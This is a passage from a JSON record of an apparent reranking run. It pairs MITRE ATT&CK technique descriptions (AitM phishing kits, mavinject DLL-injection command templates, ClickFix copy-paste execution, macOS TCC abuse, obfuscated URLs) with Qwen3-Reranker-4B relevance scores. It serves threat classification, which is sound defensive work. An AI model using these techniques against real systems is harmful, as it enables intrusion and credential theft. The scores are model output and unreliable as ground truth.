elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1674", + "text": "ATT&CK technique: T1674 Input Injection\nDescription: Adversaries may simulate keystrokes on a victim’s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts, typing an inline script to be executed, or interacting directly with a GUI-based application. These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs). For example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions. Adversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1608.002", + "text": "ATT&CK technique: T1608.002 Upload Tool\nDescription: Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server. Tools may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications. Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1684.001", + "text": "ATT&CK technique: T1684.001 Impersonation\nDescription: Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables Financial Theft. Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal. Impersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity. There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1584.006", + "text": "ATT&CK technique: T1584.006 Web Services\nDescription: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1027.018", + "text": "ATT&CK technique: T1027.018 Invisible Unicode\nDescription: Adversaries may abuse invisible or non-printing Unicode characters to conceal malicious content within files, scripts, or text. By inserting characters that do not visibly render, adversaries may hide data, alter how content is interpreted, or make malicious code appear as benign text or whitespace. Adversaries may encode these malicious payloads, using binary, Base64, or custom schemes, to be reconstructed at runtime through scripting features such as JavaScript Proxy traps, `eval()`, or other dynamic execution methods. This technique enables adversaries to evade visual inspection and basic static analysis by hiding malicious encoded content in innocuous text. Unicode is a standardized character encoding model that assigns a unique numerical value, known as a code point, to every character across writing systems, enabling consistent text representation across platforms, applications, and languages. Code points are represented as `U+` followed by a hexadecimal value and may be encoded using formats such as `UTF-8` or `UTF-16`. Adversaries may abuse the valid code points in Unicode that are not visibly rendered but still take up bytes, such as zero-width spaces, variation selectors, or bidirectional formatting controls, to conceal malicious payloads. Adversaries may additionally exploit Private Use Area (PUA) characters, a range of code points reserved for custom assignment. PUA characters that are not defined by a font or application are typically rendered blank. Unicode characters may also be leveraged in support of other techniques such as Phishing, Right-to-Left Override, or User Execution. For example, some adversaries may embed artificial intelligence (AI) prompt injections using invisible Unicode characters in emails or documents that appear benign when processed by AI systems.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1036.010", + "text": "ATT&CK technique: T1036.010 Masquerade Account Name\nDescription: Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during Create Account, although accounts may also be renamed at a later date. This may also coincide with Account Access Removal if the actor first deletes an account before re-creating one with the same name. Often, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management. They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.” Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to Account Discovery. Note that this is distinct from Impersonation, which describes impersonating specific trusted individuals or organizations, rather than user or service account names.\nTactics: stealth\nPlatforms: Containers, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1218.013", + "text": "ATT&CK technique: T1218.013 Mavinject\nDescription: Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V). Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. Dynamic-link Library Injection), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL). Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. In addition to Dynamic-link Library Injection, Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.\nTactics: stealth\nPlatforms: Windows" + }, + { + "id": "T1597.002", + "text": "ATT&CK technique: T1597.002 Purchase Technical Data\nDescription: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1584", + "text": "ATT&CK technique: T1584 Compromise Infrastructure\nDescription: Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle. Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns. Adversaries may also compromise numerous machines to support Proxy and/or proxyware services or to form a botnet. Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain Initial Access via Wi-Fi Networks. By using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1584.007", + "text": "ATT&CK technique: T1584.007 Serverless\nDescription: Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to Hide Infrastructure.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1608.005", + "text": "ATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1583.007", + "text": "ATT&CK technique: T1583.007 Serverless\nDescription: Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to Hide Infrastructure.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1219.003", + "text": "ATT&CK technique: T1219.003 Remote Access Hardware\nDescription: An adversary may use legitimate remote access hardware to establish an interactive command and control channel to target systems within networks. These services, including IP-based keyboard, video, or mouse (KVM) devices such as TinyPilot and PiKVM, are commonly used as legitimate tools and may be allowed by peripheral device policies within a target environment. Remote access hardware may be physically installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote session with the target system. Using hardware-based remote access tools may allow threat actors to bypass software security solutions and gain more control over the compromised device(s).\nTactics: command and control\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1200", + "text": "ATT&CK technique: T1200 Hardware Additions\nDescription: Adversaries may physically introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. Replication Through Removable Media), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. Adversary-in-the-Middle), keystroke injection, kernel memory reading via DMA, addition of new wireless access points to an existing network, and others.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1071.001", + "text": "ATT&CK technique: T1071.001 Web Protocols\nDescription: Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Protocols such as HTTP/S and WebSocket that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1685.003", + "text": "ATT&CK technique: T1685.003 Modify or Spoof Tool UI\nDescription: Adversaries may spoof or manipulate security tool user interfaces (UIs) to falsely indicate tools are functioning normally and delay detection and response. Adversaries may present misleading or falsified security tool interfaces (UIs) that display normal or healthy status indicators, even when underlying security tools have been disabled, degraded, or otherwise tampered with. Security tools typically provide visibility into system health, alerting, and operational status; by misrepresenting this information, adversaries can undermine defender trust in these signals and obscure the true security posture of the system. This behavior is often used in conjunction with efforts to disable or modify tools, where adversaries first impair the functionality of defenses (e.g., EDR, logging agents) and then replace or mimic their interfaces to conceal the loss of visibility. By maintaining the appearance of normal operations, such as showing active protection, successful updates, or absence of threats, adversaries can delay investigation and response, enabling continued malicious activity. For example, adversaries may display a fake Windows Security interface or system tray icon indicating a “protected” or “healthy” state after disabling Windows Defender or related services.\nTactics: defense impairment\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1572", + "text": "ATT&CK technique: T1572 Protocol Tunneling\nDescription: Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel. Protocol Tunneling may also be abused by adversaries during Dynamic Resolution. Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets. Adversaries may also leverage Protocol Tunneling in conjunction with Proxy and/or Protocol or Service Impersonation to further conceal C2 communications and infrastructure.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1218.009", + "text": "ATT&CK technique: T1218.009 Regsvcs/Regasm\nDescription: Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.\nTactics: stealth\nPlatforms: Windows" + }, + { + "id": "T1683.002", + "text": "ATT&CK technique: T1683.002 Audio-Visual Content\nDescription: Adversaries may create or manipulate audio, image, and video content to support targeting and malicious operations. Adversaries may also use synthetic voice recordings, real-time altered audio or video during live interactions, fabricated profile photos and identity documents, or video content depicting fabricated or impersonated individuals. Content may be produced manually through editing tools, generated using AI-assisted tools, or produced using third-party synthetic services. AI-assisted tools have enabled adversaries to produce synthetic media at scale and generate content that is more difficult to identify as inauthentic. Audio-visual content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1583.006", + "text": "ATT&CK technique: T1583.006 Web Services\nDescription: Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google, GitHub, or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1548.006", + "text": "ATT&CK technique: T1548.006 TCC Manipulation\nDescription: Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to grant malicious executables elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA). When an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), and an overwrites file (if connected to an MDM) for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again. Adversaries may access restricted data or services protected by TCC through abusing applications previously granted permissions through Process Injection or executing a malicious binary using another application. For example, adversaries can use Finder, a macOS native app with FDA permissions, to execute a malicious AppleScript. When executing under the Finder App, the malicious AppleScript inherits access to all files on the system without requiring a user prompt. When System Integrity Protection (SIP) is disabled, TCC protections are also disabled. For a system without SIP enabled, adversaries can manipulate the TCC database to add permissions to their malicious executable through loading an adversary controlled TCC database using environment variables and Launchctl.\nTactics: privilege escalation\nPlatforms: macOS" + }, + { + "id": "T1204.004", + "text": "ATT&CK technique: T1204.004 Malicious Copy and Paste\nDescription: An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a Command and Scripting Interpreter. One such strategy is \"ClickFix,\" in which adversaries present users with seemingly helpful solutions—such as prompts to fix errors or complete CAPTCHAs—that instead instruct the user to copy and paste malicious code. Malicious websites, such as those used in Drive-by Compromise, may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine. Adversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the \"ClickFix\" strategy. Tricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1668", + "text": "ATT&CK technique: T1668 Exclusive Control\nDescription: Adversaries who successfully compromise a system may attempt to maintain persistence by “closing the door” behind them – in other words, by preventing other threat actors from initially accessing or maintaining a foothold on the same system. For example, adversaries may patch a vulnerable, compromised system to prevent other threat actors from leveraging that vulnerability in the future. They may “close the door” in other ways, such as disabling vulnerable services, stripping privileges from accounts, or removing other malware already on the compromised device. Hindering other threat actors may allow an adversary to maintain sole access to a compromised system or network. This prevents the threat actor from needing to compete with or even being removed themselves by other threat actors. It also reduces the “noise” in the environment, lowering the possibility of being caught and evicted by defenders. Finally, in the case of Resource Hijacking, leveraging a compromised device’s full power allows the threat actor to maximize profit.\nTactics: persistence\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1185", + "text": "ATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows" + }, + { + "id": "T1584.008", + "text": "ATT&CK technique: T1584.008 Network Devices\nDescription: Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting. Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices. Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses. Compromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1036.012", + "text": "ATT&CK technique: T1036.012 Browser Fingerprint\nDescription: Adversaries may attempt to blend in with legitimate traffic by spoofing browser and system attributes like operating system, system language, platform, user-agent string, resolution, time zone, etc. The HTTP User-Agent request header is a string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent. Adversaries may gather this information through System Information Discovery or by users navigating to adversary-controlled websites, and then use that information to craft their web traffic to evade defenses.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1195.001", + "text": "ATT&CK technique: T1195.001 Compromise Software Dependencies and Development Tools\nDescription: Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency. This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries. Adversaries may also employ \"typosquatting\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user. Additionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application. By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via Proc Filesystem) or insert further malicious components into the build pipelines for a second-order supply chain compromise. As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action. Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584.004", + "text": "ATT&CK technique: T1584.004 Server\nDescription: Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a Server or Virtual Private Server, adversaries may compromise third-party servers in support of operations. Adversaries may also compromise web servers to support watering hole operations, as in Drive-by Compromise, or email servers to support Phishing operations.\nTactics: resource development\nPlatforms: PRE" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1090", + "score": 0.99609375, + "rank": 0 + }, + { + "item_id": "T1090.002", + "score": 0.984375, + "rank": 1 + }, + { + "item_id": "T1090.001", + "score": 0.9609375, + "rank": 2 + }, + { + "item_id": "T1598.003", + "score": 0.8984375, + "rank": 3 + }, + { + "item_id": "T1218", + "score": 0.80859375, + "rank": 4 + }, + { + "item_id": "T1127", + "score": 0.77734375, + "rank": 5 + }, + { + "item_id": "T1090.003", + "score": 0.73046875, + "rank": 6 + }, + { + "item_id": "T1557", + "score": 0.65234375, + "rank": 7 + }, + { + "item_id": "T1665", + "score": 0.62109375, + "rank": 8 + }, + { + "item_id": "T1496.004", + "score": 0.59375, + "rank": 9 + }, + { + "item_id": "T1583", + "score": 0.46875, + "rank": 10 + }, + { + "item_id": "T1036", + "score": 0.333984375, + "rank": 11 + }, + { + "item_id": "T1572", + "score": 0.306640625, + "rank": 12 + }, + { + "item_id": "T1216", + "score": 0.2451171875, + "rank": 13 + }, + { + "item_id": "T1185", + "score": 0.2109375, + "rank": 14 + }, + { + "item_id": "T1204.005", + "score": 0.1923828125, + "rank": 15 + }, + { + "item_id": "T1659", + "score": 0.15625, + "rank": 16 + }, + { + "item_id": "T1608.002", + "score": 0.1005859375, + "rank": 17 + }, + { + "item_id": "T1071.001", + "score": 0.09619140625, + "rank": 18 + }, + { + "item_id": "T1557.004", + "score": 0.0810546875, + "rank": 19 + }, + { + "item_id": "T1071", + "score": 0.0712890625, + "rank": 20 + }, + { + "item_id": "T1584", + "score": 0.050537109375, + "rank": 21 + }, + { + "item_id": "T1195.001", + "score": 0.050537109375, + "rank": 22 + }, + { + "item_id": "T1001.003", + "score": 0.047607421875, + "rank": 23 + }, + { + "item_id": "T1567", + "score": 0.044677734375, + "rank": 24 + }, + { + "item_id": "T1027", + "score": 0.039306640625, + "rank": 25 + }, + { + "item_id": "T1102", + "score": 0.03759765625, + "rank": 26 + }, + { + "item_id": "T1056", + "score": 0.0274658203125, + "rank": 27 + }, + { + "item_id": "T1608", + "score": 0.02587890625, + "rank": 28 + }, + { + "item_id": "T1583.007", + "score": 0.0242919921875, + "rank": 29 + }, + { + "item_id": "T1027.018", + "score": 0.021728515625, + "rank": 30 + }, + { + "item_id": "T1587", + "score": 0.0177001953125, + "rank": 31 + }, + { + "item_id": "T1685.003", + "score": 0.015625, + "rank": 32 + }, + { + "item_id": "T1102.003", + "score": 0.0142822265625, + "rank": 33 + }, + { + "item_id": "T1573", + "score": 0.013427734375, + "rank": 34 + }, + { + "item_id": "T1204", + "score": 0.0118408203125, + "rank": 35 + }, + { + "item_id": "T1036.012", + "score": 0.0118408203125, + "rank": 36 + }, + { + "item_id": "T1584.007", + "score": 0.0111083984375, + "rank": 37 + }, + { + "item_id": "T1584.004", + "score": 0.0111083984375, + "rank": 38 + }, + { + "item_id": "T1105", + "score": 0.0086669921875, + "rank": 39 + }, + { + "item_id": "T1059", + "score": 0.0086669921875, + "rank": 40 + }, + { + "item_id": "T1571", + "score": 0.0086669921875, + "rank": 41 + }, + { + "item_id": "T1102.002", + "score": 0.0086669921875, + "rank": 42 + }, + { + "item_id": "T1132", + "score": 0.00811767578125, + "rank": 43 + }, + { + "item_id": "T1204.004", + "score": 0.007171630859375, + "rank": 44 + }, + { + "item_id": "T1596.004", + "score": 0.006744384765625, + "rank": 45 + }, + { + "item_id": "T1584.006", + "score": 0.006744384765625, + "rank": 46 + }, + { + "item_id": "T1102.001", + "score": 0.006317138671875, + "rank": 47 + }, + { + "item_id": "T1608.005", + "score": 0.006317138671875, + "rank": 48 + }, + { + "item_id": "T1584.008", + "score": 0.005950927734375, + "rank": 49 + }, + { + "item_id": "T1056.003", + "score": 0.005584716796875, + "rank": 50 + }, + { + "item_id": "T1674", + "score": 0.00299072265625, + "rank": 51 + }, + { + "item_id": "T1583.006", + "score": 0.002716064453125, + "rank": 52 + }, + { + "item_id": "T1104", + "score": 0.002471923828125, + "rank": 53 + }, + { + "item_id": "T1200", + "score": 0.002471923828125, + "rank": 54 + }, + { + "item_id": "T1127.003", + "score": 0.0023345947265625, + "rank": 55 + }, + { + "item_id": "T1218.013", + "score": 0.0023345947265625, + "rank": 56 + }, + { + "item_id": "T1218.009", + "score": 0.0021820068359375, + "rank": 57 + }, + { + "item_id": "T1668", + "score": 0.0021820068359375, + "rank": 58 + }, + { + "item_id": "T1205.002", + "score": 0.00193023681640625, + "rank": 59 + }, + { + "item_id": "T1218.010", + "score": 0.0016021728515625, + "rank": 60 + }, + { + "item_id": "T1218.012", + "score": 0.0016021728515625, + "rank": 61 + }, + { + "item_id": "T1140", + "score": 0.00154876708984375, + "rank": 62 + }, + { + "item_id": "T1555", + "score": 0.00145721435546875, + "rank": 63 + }, + { + "item_id": "T1189", + "score": 0.00141143798828125, + "rank": 64 + }, + { + "item_id": "T1036.002", + "score": 0.00136566162109375, + "rank": 65 + }, + { + "item_id": "T1036.010", + "score": 0.00128936767578125, + "rank": 66 + }, + { + "item_id": "T1566", + "score": 0.00116729736328125, + "rank": 67 + }, + { + "item_id": "T1597.002", + "score": 0.000911712646484375, + "rank": 68 + }, + { + "item_id": "T1589", + "score": 0.000885009765625, + "rank": 69 + }, + { + "item_id": "T1219.003", + "score": 0.00064849853515625, + "rank": 70 + }, + { + "item_id": "T1684.001", + "score": 0.00058746337890625, + "rank": 71 + }, + { + "item_id": "T1021.003", + "score": 0.000553131103515625, + "rank": 72 + }, + { + "item_id": "T1683.002", + "score": 